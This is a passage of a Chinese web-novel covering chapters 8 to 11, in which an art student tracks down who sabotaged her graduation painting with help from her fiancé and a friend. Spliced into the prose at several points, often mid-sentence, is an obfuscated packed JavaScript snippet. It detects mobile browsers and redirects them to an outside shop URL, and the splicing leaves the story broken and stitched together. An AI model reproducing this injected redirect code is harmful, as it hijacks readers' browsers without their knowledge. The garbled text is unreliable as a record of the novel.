姚柔伊渐渐有了印象,尽管已经心烦意乱到极点,还是对她挤出一个笑:“哇,原来是你啊,恭喜你减肥成功了,我刚才一点都没认出来。” 女孩的脸更红了,她比大二的时候瘦了接近三十斤,减肥成功之后,她并没有想象中的那么自信,那么开朗,依然是班级中默默无闻的透明人,很少有人会在意她,更别提对她释放善意。所以姚柔伊两年前的帮助,一直深深镌刻在她心中,她甚至无比懊悔,当时她为什么没有坐到画旁边,小心翼翼地帮姚柔伊看着画,这样悲剧是不是就不会发生。 可她的表达能力太弱了,她只能浅浅点了点头,什么都没说。 姚柔伊还是和她加上了微信,于她而言,帮助别人这种事情只是顺手的事,从来也没指望别人会因此回报什么,所以当这女生愿意站出来提供线索,她满心感激,势必要在这事结束后好好感谢对方。 女生加上姚柔伊微信后,更是诚惶诚恐,在她心中,姚柔伊简直就是世间所有美好的化身,用“女神”两个字形容都太浅薄。加上姚柔伊的微信,对她这么个敏感自卑的女生来说,简直是一件天大的赏赐一般。 姚柔伊暂时告别了画室。 画作虽被损毁,但毕竟是自己将近一个月的心血,丢了也很可惜,放哪她都不放心。 她决定暂时带回宿舍。 虽然在大三的时候外出租房子住,但宿舍却一直没退,还保留着床位,一个月偶尔住个一两次。 姚柔伊回到宿舍,只有一个室友在。 “哈喽,好久不见,娅娅。”姚柔伊打起精神笑着。 李菲娅正在贴面膜,看见姚柔伊进来后,从凳子上站起来,要去拥抱她,紧接着看见她手里的画,惊道:“天啊,你的画怎么了?!” “别提了,倒霉死了,刚从画室回来,不知道被哪个鳖孙害了。” “今晚就要上交,明天系里教授就要给画打分了,你这可怎么办啊?” 姚柔伊抽了张纸巾,擦拭额头冒出的细密汗珠,摆手扇风,给自己降温,她现在火气直冒,“走一步看一步吧,船到桥头自然直,大不了延毕。” “到底是谁干的呀,你的画我觉得肯定能参加竞拍的。”李菲娅隔着面膜纸在脸上打圈按摩,帮助精华液吸收,眼睛盯着油画的破损处,语气颇为遗憾。 “我也想知道是谁干的,我先把画放这里,等会还得去调监控查人,画你先帮我看一下吧。” 李菲娅闻言,视线从画移到姚柔伊脸上,她的额头因流汗有些脱妆,但即便如此,整张脸也依旧精致完美,丝毫不见半分狼狈。李菲娅停顿片刻,问道:“现在调监控还来得及吗,还能抓到坏人吗?” 姚柔伊鼻腔重重哼出一口气,“不管怎么样,这事我都不会这么算了,掘地三尺我都要把他找出来。” 李菲娅不置可否,接着提议:“要不趁现在有时间,赶紧画一张新的交差,你画画厉害,一晚上应该能画个差不多,这样也能赶得上明天的打分,不会影响毕业。” “不用,我咽不下这口气。” 是可忍孰不可忍,她确实能一晚上重新画一张,但完成度绝对赶不上这幅,只能拿个普通的分数,虽然不影响毕业,但拿不了第一、参加不了竞拍,她着实不服气,正大光明的输她无话可说,这种被人暗中使手段,她宁愿延毕也不要苟且。 “好吧,那你去找吧,画我帮你看着。” “嗯,谢谢,我带着画跑来跑去也不方便。” “需要我陪你一起去调监控吗?” “不用,你休息吧,我等会让蒋洲来。” 姚柔伊拍下破损的画,发给蒋洲。 蒋洲很快发来“!!!” 下一秒他的语音就过来了,“卧槽怎么搞得!” 姚柔伊:“快来,带你一块去抓人。” 蒋洲:“收到【敬礼】” * 下午,顾阎和一行人来到A大,参加A大一年一度的校企商谈会。 顾阎并不是A大的毕业生,他初中开始就被送到国外念书,但顾家企业却是A大的合作方,A大是国内顶尖的综合性大学,每年都有上百名优秀毕业生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634425|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入职顾家的公司。 以前的校企商谈会都是顾家长辈出席,顾阎三年前回国,逐步进入顾家集团的核心管理层,从去年开始便是他来参会。 跟他同来的也大多是其他企业老板。 与A大这种顶尖大学的合作,向来是互利互赢的,没人会不重视。 池修白坐在顾阎旁边,正在翻本届计算机系优秀毕业生手册,企图发掘些可用之才,翻了半天,并没有特别满意的。 “一个有意思的都没有。” 顾阎扯了扯嘴角:“A大的计算机系已经是国内top1了,这也看不中?” “你看看,这一个个奖项拿了不少,长得倒是歪瓜裂枣的。” 顾阎闻言笑出声,他这好友总是在某个点上突然奇葩一下,比如公司招聘,向来看脸,问就是大部分的工作内容高中生都能胜任,不好看的人放在公司碍他的眼,不知道的还以为他的公司是选美公司。 顾阎从池修白手里抽出手册,大致翻了下,突然看到了个眼熟的人,面色蓦然一冷,翻页的手停顿住。 那页上的人眉眼清俊,面容出色,与顾阎有三分相像,在手册中格格不入。 许恩。 他那虚伪的父亲搞出来的婚外情产物。 顾阎只依稀记得,对方好像学习不错,几年前考入A大,却没想到已经是优秀毕业生了。 池修白见他停住,余光看向手册,他知悉顾阎家略显复杂的家庭状况,一早便认出许恩来,他手指着许恩,启唇讥讽:“属他最丑,我绝对不要他。” 顾阎扯了下嘴角,“你就算想招他,许□□都未必肯愿意。” 许□□在父亲身边蛰伏了许久,不就是在等儿子将来出息,好安插进顾家企业中去,分一杯羹。 甚至连许恩的计算机专业,都是许□□深思熟虑后的选择。 如果选择企业管理类专业,就与顾阎在国外读的MBA相撞,两个人一旦存在竞争关系,许恩的身份势必会落入下乘。所以干脆学技术类,以退为进,将来不仅有技术傍身,还能在顾家人中拉一波儿子不求名利、只愿替顾家效力的好感度。 参会人员陆续到齐,商谈会按部就班进行,期间顾阎还作为商业代表,在会上脱稿发言半小时,宣布顾家将继续加强与A大的合作联系,并再次捐赠性投资5个亿。 校方领导很喜欢顾阎这类年轻有为,有魄力,还出钱爽快的年轻企业家,会后特意留顾阎池修白他们用餐,以表谢意。 顾阎和池修白陪校领导参加饭局,谈笑风生,推杯换盏,两人都下肚不少酒。校方联系学校接待处安排房间,以便两人留宿一晚再走。 其中一位校领导主管附属美院,在饭局上透露,明天他们美院有慈善拍卖活动,若是两位肯赏光,不妨去看看,应该挺热闹的。 凡是家大业大、功成名就的老板,对于慈善一类,便是没有兴趣,装也得装出个一二来,否则多少有些不够格调。 顾阎和池修白便是想谢绝也谢绝不掉,只得应下。 饭局结束,两人在校园中闲逛,城市的夜空看不到半点星辰,只余万千灯光的亮晖,将夜幕拉扯得半明半暗。 两人悠悠转到了一栋办公楼前。 楼前,一对男女学生正和穿着制服的校内工作人员争执不休。双方情绪激动,颇有些要动手的架势。 “呦,瞅了半天,可算看见对高颜值小情侣,我还以为A大就没好看的人了呢。”池修白随口调侃,手肘轻怼了下顾阎,“真青春啊,有没有让你想起大学时光。” 他看向顾阎,却见顾阎面色深沉,眉头紧皱,颇为不爽的神情。 一副自己的囊中之物被人染指的模样。 好,很好,这才过去多久,绿帽子便隐隐约约在头顶盘旋。 是不是他表现得太过君子,以致于她没有半点危机意识?违反契约精神的人,该如何惩罚呢? 那对男女,不是别人,正是姚柔伊和蒋洲! 8. 第 8 章 蒋洲一手揽着姚柔伊的肩膀,一手指着监控室工作人员老郑,扯着嗓子大叫起来,“我不管你什么说辞,监控坏了就是你们校方的责任,早不坏晚不坏,偏偏今天坏了,我姐们的画那可是等着拍出高价的,你赔得起吗?” 他正常说话时声音是低沉的,但一旦吵起架了,就像置身甄嬛传现场,戏精附体,嗓音也尖细起来,活似古装剧里的太监。 暗处的顾阎听着不由得眉毛拧得更紧。这姚柔伊看起来这么乖顺,口味竟如此奇葩吗? 这样的男朋友也能交往,跟泼妇骂街似的,不觉得丢人吗? “我都说了,监控坏了,你们再怎么不依不饶也没用啊,再说学校的监控本来就时好时坏的,你们画室的监控上个月还坏过一次呢。” 老郑手握监控室的一大串钥匙,牢牢按在胸口,双眼紧紧盯着两人,他好不容易将两人推出监控室,锁上了门,可不能被他们抢走钥匙。 其实学校监控一直都是好的,各处监控镜头也会定期检查维护,但老郑怕这两个学生把画室监控被破坏一事宣扬出去,只能谎称学校监控时常损坏。 “既然监控经常坏,为什么不报修,不更换新的,这也是你渎职!我告诉你,责任跑不了你的!”蒋洲持续性气势汹汹。 今天一下午,他和姚柔伊来调监控,校方前前后后推脱,死活找不到负责监控室的工作人员。 好在蒋洲和学生会的人混得好,拜托了会长联系负责监控室的老郑,又许诺了不少好处,兜兜转转可算找到了眼前的人。 怎料老郑今天请假,非说要明早才来,但情况紧急,今天不解决完,等到明早,黄花菜都凉了。 办法总比困难多,一筹莫展之际,姚柔伊顾不得面子,厚着脸皮联系了一个很欣赏她的教授,通过麻烦教授,好不容易把老郑给劝来学校开监控室的门。 等他来到学校之时,天都已经黑了下来。 姚柔伊天真地以为,打开监控室便能真相大白,岂料在查找监控的时候,却发现画室监控镜头坏了。 并且好巧不巧,就坏了画室一间。 阴谋味未免太明显了。 负责监控室的老郑登时如临大敌,不由分说就要把他们赶走。 老郑冒出一身冷汗,他的职责就是看护好监控视频,确保没有任何安全隐患,如今发现监控坏了,他难辞其咎,但好在对方只是两个学生,涉世不深,他企图用装傻充愣把这件事搪塞过去,省得学校追究他的责任。 当前的任务就是把姚柔伊和蒋洲赶走,让他们不要再打监控的主意。 他对什么劳什子的毕设没有半点兴趣,这个学校每一届都有成千上万的毕业生,谁的毕设出点问题根本算不上什么大事,只要学生脑袋灵活点,去跟系里领导求求情,说点好话也就过去了,毕竟也没有哪个老师想卡本科生毕业的。 可他实在是低估了这两个人,这两人不仅没有善罢甘休,反倒是还要求调取楼梯道的监控,非要找出来是谁对监控动过手脚。 然而老郑只想大事化小、小事化了,就算真抓到了罪魁祸首,对自己也没有好处,上报完学校,自己也要被追责,运气好点是调岗,运气差点甚至饭碗难保。 于他而言,最好是监控损毁这事不被任何人知晓,他之后自费更换画室的监控镜头,这样便能一切照旧。 老郑不耐烦道:“要找人你们去问同学,当时那么多人在画室,你们一个个问过去,什么问不出来,别在这里纠缠了。” 见老郑极度不配合,姚柔伊强硬回击:“行,既然你不愿意帮我们,那我也不介意向校领导反映这件事,反正监控损毁的这事时有发生,想必也不是什么大事吧?” 在这期间,姚柔伊已经猜出老郑非要赶他们走的真实意图,很明显他不想这件事闹大。 可既然他不配合,那也别怪她非要将事情闹大,毕竟当别人不允许你开窗的时候,你最好直接掀屋顶,这样别人就愿意开窗了。 永远是豁得出去的人先享受世界。 “我听说你三叔和我们副校长是同学,之前过年的时候你们还一块吃饭了是不是?”姚柔伊给蒋洲使眼色。 蒋洲默契领会:“那必须的,我小时候,副校长还经常抱我,得亏你提醒了我,刚才咋没想到呢,我现在就给我三叔打电话。” 老郑汗流浃背,他仍在硬撑,不知道这两个学生是不是在诓他,他只能按兵不动。 蒋洲拿起手机拨出一通电话,他边打电话边看向老郑,这个中年男梗着脖子不为所动。 双方就这么僵持着,谁先撑不住谁就输了。 电话已播出,滴滴的忙音在夜色中格外刺耳,牵动着所有人的心跳声剧烈加速。 气氛格外焦灼,此刻拼的就是心态。 老郑不知道这通电话的另一面是什么,是两个学生的虚张声势,还是确有其人。 他只能赌。 一旁暗处的顾阎和池修白把事情听了个大概,原来就为了个监控的事掰扯个没完。 这两成熟男性的社会经验更多,并不觉得两个学生所说的校领导关系,真的能唬住死猪不怕开水烫的老郑。 如果最后校领导没找来,那这监控怕是真没得看。 池修白完全不想插手这种无聊琐事,他这人行事作风一向事不关己、高高挂起,唯一让他感兴趣的点,就是顾阎对此事件里的女生好像有点不同寻常的在意。 见鬼了,他不是马上要结婚了吗,怎么还来这一出,要是以前池修白根本无所谓好友在外猎艳,但最近惹上了个麻烦精,让他心力交瘁,很怕顾阎也一着不慎,像他一样,给自己惹了个甩不掉的包袱。 “走吗?”池修白用口型询问顾阎。 顾阎摇头,低声:“我认识那女孩,等会跟你介绍。” 他说完便从暗处走了过去,大步上前,冲老郑厉声道:“如果不想事情闹大,你最好赶紧把监控室打开。” 顾阎的现身,令这三人俱是一惊。 顾阎声音不算大,但语气冷硬,有种与生俱来的压迫感,老郑心头一颤,强逼着自己稳住,假模假样地大喝:“你又是谁?!” “我刚来学校开完商谈会,这两个学生能不能叫来领导你还敢赌,我能不能叫来,你也敢赌吗?” 顾阎把开会用的嘉宾牌从口袋中摸出来,随手扔给已是强弩之末的老郑。 老郑颤巍巍拿起,定睛一看,赫然是张嘉宾卡,还是第一排中间位置。 以这座次而说,莫说一般校领导,就算是联系上校长那也不是难事。 他这次是彻底怕了,梗直的腰背一下子弯了下去,心如死灰。完了,这波摊上大事了! “你,你们,你们到底要做什么?能不能放过我?我在这岗位干这么多年也不容易,这事要闹大了,我工作都难保。”老郑像泄了气的破皮球,一阵捶胸顿足,全然一副要死要活的模样。 底层人不想为难底层人,姚柔伊家庭突遭变故,她也不好受,更能理解这个中年男想保住工作的心情。 她动了一点恻隐之心,叹息:“只要这件事你没有参与其中,我就不追究你的责任,监控一事也不对外说,保证你不出事行吗?前提是你必须完全配合我们调取所需的监控。” 老郑获得大释,大喜过望,忙应道:“行行行,我配合,我保证配合,我今天都不在学校,哪有工夫掺合什么画的事。” 老郑火速跑去开监控室的门锁。 蒋洲冲老郑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时此刻,他“损友”本色彰显,故意反驳道:“什么朋友啊,你不还追过我吗?” 闻言,姚柔伊简直想给蒋洲一拳,奈何顾阎在这,她必须伪装好淑女作风,没法真去打蒋洲,心里倒是将他狂轰滥炸的一番。 祖宗欸,这什么场合,你还嫌不够乱吗,真想让我死不成?! 顾阎的脸色那叫一个差,黑得和这夜色没啥两样,理性上他并不觉得一个矜持的淑女会主动追求男生,感性上蒋洲的话听着格外不爽,明晃晃挑衅他。放平时有竞争者敢这么跟他说话,他早就一个大不屑的表情,外加一句简单直白、直戳要害的垃圾话怼回去,谁要他不爽,他自然要那人加倍不爽。 但现在他的人设是个绅士,绅士面对这情景该怎么回应,包容?体面?优雅? 他得好好思考一下。 他等着姚柔伊先跟他解释一下,再做表态。 人在过于尴尬的环境下,通常想着逃离,或者引入外力来解决。 姚柔伊也是如此。 她眼眸转了一圈,看向方才传出陌生笑声的地方,一个长身玉立的男子点着一根烟,正忍俊不禁地在看戏。 察觉到姚柔伊在看自己,池修白走了过去。他上前拍了拍好兄弟的肩膀,又看向姚柔伊和蒋洲,调侃道:“妹妹,你口味真独特,还追过gay呀?” 姚柔伊礼貌而不失优雅地尬笑。 蒋洲大惊:“卧槽神人啊,你怎么看出来的?” 池修白翻了个白眼:“这很难看出来吗,我是没见过直男吵架时嗓音这么尖。” 9. 第 9 章 危机暂时解除。 姚柔伊长舒一口气,“他是我gay蜜啦。” 蒋洲撇撇嘴:“再怎么说你之前也追过我呀。” 姚柔伊决定装疯卖傻,咬死不承认,不然她不知道该怎么和顾阎解释,自己曾经帮其他女生追蒋洲这事。这种事情,怎么看也不是她伪装出的大家闺秀之辈能干出来的事。 她采取白莲花路线,皓齿轻咬下唇,端庄之余,略带一点楚楚可怜,轻声埋怨:“哎呀,你不要再开玩笑了,不然我未婚夫要误会了。” 蒋洲当场被口水呛住,他是知道姚柔伊被她爸安排了娃娃亲,但完全不知道,娃娃亲对象就是眼前这个男人。 他看看姚柔伊,又看看顾阎。 不得不说,外形上倒是挺登对。 但是,唯一一点让他觉得不对劲的就是,姚柔伊在顾阎面前完全不像她真实的面目。 如果一定要戴着面具生活,哪怕嫁给一个钻石王老五,也不会幸福的。 蒋洲看向姚柔伊的眼神中透露出同情和不忍。 然而这目光落入顾阎眼里,又是另一种含义,好像他对姚柔伊还恋恋不舍一样。 就算对方的性取向不同,顾阎依然没有掉以轻心。 他有必要提前行使一下男朋友,哦不,是未婚夫的权利。 顾阎伸手,自然而然地牵过姚柔伊的手,动作温和,极尽绅士体贴,但态度倒是强势中带着一丝熟稔,“嗯,我是相信你的。” 姚柔伊像只被捏住尾巴的猫,半边身子都要僵了,心中暗慨,顾阎这人段数也太高了,他的回答简直滴水不漏,既有教养,又暗含警诫。 有时候她不喜欢老古板,原因就是在这,你在这种人面前,只能低头听话,好像反抗都是一种不乖。 顾阎又将池修白和姚柔伊介绍给对方认识。 姚柔伊礼貌地打了声招呼。 池修白应下,面上似笑非笑,他只觉得这两人很有意思,每个人都假得可以,但他一个外人又无权置喙。 他全当这是小情侣之间的把戏。 * 老郑早就将监控室的门打开,奈何这几人,一直在外面站着不进来,老郑还想着赶紧看完,收工回家,实在不想等了,就去催促他们。 “快进去吧,楼道监控我替你们调出来了。” “哎好。”姚柔伊应下。 他们几人,同时出现在监控室,监控室登时被挤得狭小逼仄起来。 “你们查吧,我酒劲上来了,先回去休息。”池修白打了个哈欠,率先打退堂鼓。 溜号的真实原因是,池修白的手机里又收到一条麻烦精发来的爱心短信:【看到你喝酒了,我好心疼,已经煮好了醒酒汤,你一定要过来喝哦~——你的妙妙。】 三天没过去找她,这个烦人精果然坐不住了。于是乎他决定大发慈悲,过去一趟。 顾阎点头,“去吧,注意安全。” 池修白不禁想笑,搁平时顾阎只会说“快滚”,也不知今晚哪根筋搭错了,他还会关心人了。出门在外得给朋友面子,不拆穿是基本友德,池修白摆摆手潇洒离去。 姚柔伊注意到顾阎身上也有明显的酒味,夜风虽吹散了大半,但进入监控室这个小房间后,酒味便愈发清晰。 以她喝过的酒来判断,这应该是高度数的茅子。 她的视线从监控屏幕转到顾阎脸上,关切地提议:“要不你也回去吧,我和朋友在这边就够了。” “啧,就这么关心我?”顾阎随口调侃,酒精的侵蚀多少让他的大脑没那么严谨,暴露了一点本真面目。 姚柔伊以为自己出现幻听,这吊儿郎当的语气真是从顾阎口中发出的吗? 好新鲜、好刺激、好流氓。 话说出口后顾阎也觉不够稳重,故而一本正经找补:“我是说谢谢未婚妻的关心,我还好。” “可以跟我说说发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634427|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么吗?”顾阎不给她多思考的时间,立马转移话题。 “我的毕设被人破坏了。” “很严重吗,有补救措施吗?” 姚柔伊从手机相册中调出照片给他看,“还挺严重的,只能重画。” 顾阎看向照片。 照片中是一张女性半身肖像油画,面容处被划破抓皱,画面中的女人有一种颓废之美,尤其面部区域的破损使她看起来被命运无情摧折。 “有趣。”顾阎被吸引住,轻声感叹。 “哪里有趣了?”姚柔伊不爽,她的画被毁,这人还搁这说什么风凉话,要不是经过之前的相处,知道他是位有涵养的男士,她非得骂他一顿不可。 顾阎将自己的见解表述给姚柔伊。 姚柔伊瞬间被击中,她之前对这幅画最不满意的地方,就是无法将女人被磨难淬炼的美感,表现得更真切精准一些,而这破败的纸张却用另一种形式为画加注了灵魂。 她惊道:“天啊,我可以直接将这幅坏掉的画交上去吗?” 蒋洲拍手支持:“酷,我喜欢,感觉很牛逼。” 顾阎也很认可:“当然,有时候艺术不在于完美无缺,能击中人心就行。” “虽然有点冒险,但是我想起来,老师布置毕设的时候,并没有说一定要交一张画,只是说一件作品,作品可以是画,也可以是类似画作的艺术作品。” 只不过她们是油画系的,大家的想法都被一张完整的画给困住了。 【班长在群里催你交毕设了。】李菲娅的给姚柔伊发来一条微信。 姚柔伊:【好的,麻烦你帮我交一下。】 李菲娅发来一个问号,【交什么呀?】 姚柔伊:【就宿舍坏的那张,交上去就行,我没时间再画了。】 【好哦。】 姚柔伊刚放下手机,就听见蒋洲指着屏幕,爆出大叫:“找到了,找到了,就是这个狗东西!” 10. 第 10 章 姚柔伊凑向屏幕,果然是个穿着卫衣、鬼鬼祟祟的陌生男子。 那男生并不是一开始就全副武装的,他是在上楼的过程中才开始戴帽子和口罩,所以前半段的监控拍下他完整的脸。 姚柔伊拍下一张监控截图,发给提供线索的女生。 【是他吗?】 对面秒回:【就是他!衣服和裤子一模一样!】 “好小子,可算抓到你了!”蒋洲摩拳擦掌,请示姚柔伊:“怎么处理,全听你的。” 姚柔伊当机立断:“先把他找出来吧。” 把人找出来之后,才能抓到幕后的指使,她还不相信一个陌生人会无缘无故来毁坏她的画。 她不认为自己在不经意间得罪过对方,哪怕拒绝告白这种事。 蒋洲:“好嘞,你就看我的人脉吧,最多一个小时,只要他还在学校,必把他抓住。” 蒋洲可是个超级大E人,跟谁都能搭上话,在学校人脉巨丰富,上到学生会会长,下到被学校劝退人员,基本上他全有熟人。 蒋洲将陌生男的监控截图发在学校各个群里,又一连发了好几个大红包,调动了好几百号人来帮他寻人。 人多力量大,不到半小时就扒出来这男生的身份信息,从名字、专业,到宿舍号、学号,甚至连身份证号码都扒出来了。 此人名叫丁世杰,土木工程专业,据悉家境不好但酷爱球鞋,经常向同学借钱,还欠着还多钱没还。 蒋洲带着姚柔伊直奔丁世杰的寝室。 顾阎自觉跟在后面。 这种时候,于情于理,他都不可能袖手旁观不参与的。 蒋洲风风火火冲进丁世杰的寝室,“狗东西,给我出来!” 还没指名道姓,丁世杰就知道这几个是冲自己来的,吓得从凳子上一跃而起,拔腿直奔。蒋洲一下子没抓住他,眼看丁世杰便要夺门而出,门口的顾阎一把擒住了丁世杰的胳膊。 人在逃窜时会产生巨大冲力,但这力道在顾阎手下仿佛不存在一般,丁世杰被死死按住。 顾阎手下的强劲力道令丁世杰恐惧万分,他疯狂挣扎,却徒劳无功。 顾阎不想陪他多闹,他很轻松地反手一剪,就将丁世杰的两条胳膊反扣在背后,将人抵在了门上。 “跑啊,你再跑啊!”蒋洲恶狠狠道,抬腿给丁世杰一脚,然后冲顾阎竖了个大拇指,“牛啊,好身手。” 丁世杰被踹的险些跪倒。 见人被完全制服,姚柔伊上前直入主题:“是谁指使你的?” 丁世杰不说话。 蒋洲不耐烦又是一脚,“问你话听不见啊?!” 还是不说。 顾阎手上加了点力道,丁世杰肩膀处传来骨头的咯嘣声,他痛得大喊大叫起来,可还是不开口。 姚柔伊:“她给了你多少好处?” 男生只咬死:“画是我弄的,没人指使。” “行,嘴硬是吧,既然你不肯供出来,那损失就由你负责,这就把你送去公安局!”蒋洲耐心耗尽,最后恐吓他。 对于学生而言,牵扯到警方,基本上一吓一个准。 可丁世杰却像个老油条,丝毫不惧,“去就去。” 看来他已经知道自己这么做的后果,最多就是行政拘留,他根本不会为了这点惩罚而舍弃掉得来的好处。 “你以为光拘留就完了吗?”姚柔伊灵机一动,拿准他痛点,“这幅画可是卖出了高价,你需要赔偿损失的,至少一百万,这可不是光拘留就能解决的。” “明天不是才是拍卖会吗,这画怎么可能卖出去!”丁世杰显然被一百万吓到,他不怕拘留,却害怕赔钱。 他本来就是为了钱财铤而走险,现在却可能背负上更多的欠款,让他内心顿时松动了。 “谁说我的画要拿去拍卖?我的画早就已经卖出去了,抓你的这人就是买家!”姚柔伊信誓旦旦,为了效果逼真,继续加码,甚至不惜把顾阎也拉进来做戏。 顾阎相对配合:“是的,你毁了我的画,我已经报案了。” “怎么可能?!”丁世杰惊恐大叫,“她没跟我说过这些!” “她究竟是谁?”姚柔伊语气缓和下来,“如果你说出来,画的损失就不让你负责,我们马上去撤案。如果你不说,那么这一百万你就自己掏吧,她如果真花了这么多钱雇你,我也无话可说。” “怎么会这么贵,我不信!”丁世杰在做最后的顽抗。 “老子愿意,你管得着吗你?”顾阎一边说一边再次加重手中的力道。 在疼痛与恐惧的双重打压下,丁世杰的心理防线彻底击溃,他瘫软下来,求饶道:“我说,我说!” “是李菲娅,她答应帮我还信用卡逾期的钱,我才去的!” “卧槽,你舍友!”蒋洲和姚柔伊的室友聚过几次餐,一起泡过吧,唱过K,印象中李菲娅和姚柔伊关系挺好的,完全没料到幕后黑手居然是朋友! 姚柔伊是最受震撼的,她把和她有过矛盾的人想了一圈,已经做完十足的准备,也没料到答案如此的出乎意料,简直是当头一棒。 猛然间想到她的画还在宿舍,姚柔伊已经无暇思考李菲娅为什么会这么做了,忙转身离去,“我的画在宿舍,我得抓紧回去拿,这人你们看着处理吧,我管不了了。” “好嘞。翠果,打烂他的嘴!”蒋洲可算能发泄今天的不满,捏着嗓子对着丁世杰一顿胖揍。 顾阎对教训这个弱鸡男毫无兴趣,他快步跟上了心急如焚的姚柔伊。 “别担心,既然她花钱找人做这事,证明当前她是不愿意和你撕破脸的,未必会在宿舍里对画下手。” 听完这话,姚柔伊的心才平静下来,脚步也随之慢下来,她恹恹不乐,“谢谢你。” “不客气,是你反应快,我只是配合罢了。”顾阎觉得姚柔伊不是一般意义上的大家闺秀,她脑子没那么死板,比他想象中的更灵活。 姚柔伊自嘲起来:“我自认为对她挺好的,甚至还觉得我们是好朋友,真没想到啊。” 背叛这种事,任谁遇到都不好受,恰好顾阎就是最恨这种事的人。 顾阎语气鄙夷:“蝇营狗苟之辈。” 姚柔伊:“如果你遇到这种人呢?” “一次不忠,百次不用。”这种人太多了,没什么值得留恋和可惜的,他不会为任何不值得的人驻足。 “嗯,我也是。” 越是接近宿舍楼,姚柔伊的心越沉,步伐越重,即将要面对人性的阴暗面,她就算做好了心理建设,也不知道接下来会不会发生更难以接受的事。 在门口时,宿舍大姨拦下顾阎:“女生宿舍,男士留步。” “需要我陪你吗?” “不用。” “陪什么陪,没听到我刚才的话。”宿管大妈不耐烦地赶人。 顾阎点头,“那我回去了,有处理不了的事情再联系我。” 姚柔伊朝他挥手。 * 寝室中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李菲娅是宿舍里第一个脱单的,当时她特别喜欢那个渣男,渣男人长得还可以,还会谈吉他写歌,在学校里也算挺受欢迎的,宿舍里其他人都为她高兴。 但姚柔伊并不知道的是,李菲娅和渣男有接触,是因为渣男想通过李菲娅接触同宿舍的姚柔伊,这事李菲娅在一开始也不知道。 只怪渣男掩藏得实在深,他经常借着请客吃饭,把李菲娅全宿舍的人都叫出来。 李菲娅家庭条件很好,请客吃饭的钱甚至都是她帮渣男付,渣男一分不出,既赚了面子,还得到和姚柔伊近距离接触的机会。 终于在某次吃饭时,渣男故意弄倒了果汁,溢出来的果汁撒到姚柔伊的裙子上。 姚柔伊去卫生间清洗。 渣男鬼鬼祟祟跟在后面,好在姚柔伊警觉性高,在渣男捣鼓手机的时候抓住了他,在他手机中发现了很多女生裙底的照片。 姚柔伊这人一向嫉恶如仇,既然发现了渣男的真实面目,马上就跟李菲娅摊牌了。 李菲娅如遭雷劈,在和渣男拉扯一个月后,两人终于分手。 李菲娅以感谢她帮忙认清渣男的名义和姚柔伊越走越近,但这并不是她的真实想法,只是她的蛰伏。 她永远也忘不掉,渣男在和她分手时说的话,他根本不喜欢她,如果不是她和姚柔伊是室友,看起来也比较好搞定,他根本不可能和她在一起。 明明姚柔伊没有任何错,可她还是不由自主地恨她。 恨到最终还是忍不住下手害她。 11. 第 11 章 人在过分失望的时候,很难有心力和别人大吵大闹。 姚柔伊只觉浑身疲惫,对于李菲娅对她的莫名恨意,她感到迷茫和失落。 原来“匹夫无罪、怀璧其罪”是这样的一种感受。 人的善意在无形中会为自己结下善果,正如曾经帮助过的那位低血糖女生,同样也会在无形中得罪别人,正如李菲娅,或许她并不希望姚柔伊戳穿了渣男的真实面目,她将渣男带给她的伤害有意无意全算在姚柔伊的头上。 尽管善意带来的收获大相径庭,但姚柔伊却不后悔之前的任何行为。 自在随心,她所追求的行事准则一向如此。 李菲娅泪水横流,她似哭似笑,控诉着:“这么长时间我好累啊,我每天都在观察你,每天都强逼着自己喜欢上你,我都快要成功了,你知道吗?可是,自从前些天得知你家公司垮了,我竟然发现,我内心升腾起了诡异的快乐,原来我是希望看见你过得不好,原来这才是我的真实想法啊。我伪装和你交朋友这么久,最开心的就是那一天了。” “我知道了。”姚柔伊冷冷地看向情绪癫狂的李菲娅,她的面容已经让她陌生,一个被恨意支配的疯子。 “但你的希望终究会落空,不论我当前的现状如何惨,我一定会想法设法地将自己的生活过好,但你就不一定了,你很可悲,你的喜怒哀乐都被我左右。恭喜你,你不会再有真正的快乐了。” “不,你会延毕,你会找不到工作,你会一贫如洗,你会嫁给一个朝九晚五还挣不到几个钱的社畜,过上买个菜都斤斤计较的可悲日子。” 不愧是家境富裕的大小姐,发出去的恶毒诅咒,也不过是芸芸众生的,再普通不过的日常生活。 然而,姚柔伊不想再和她争辩什么,让一个仇恨自己的人转变思想,是一件痴人说梦的事。 最好的方式就是远离这些人,用最美丽的盛放无声地回击。 看你过得好对他们来说就像死了亲人一样难过。 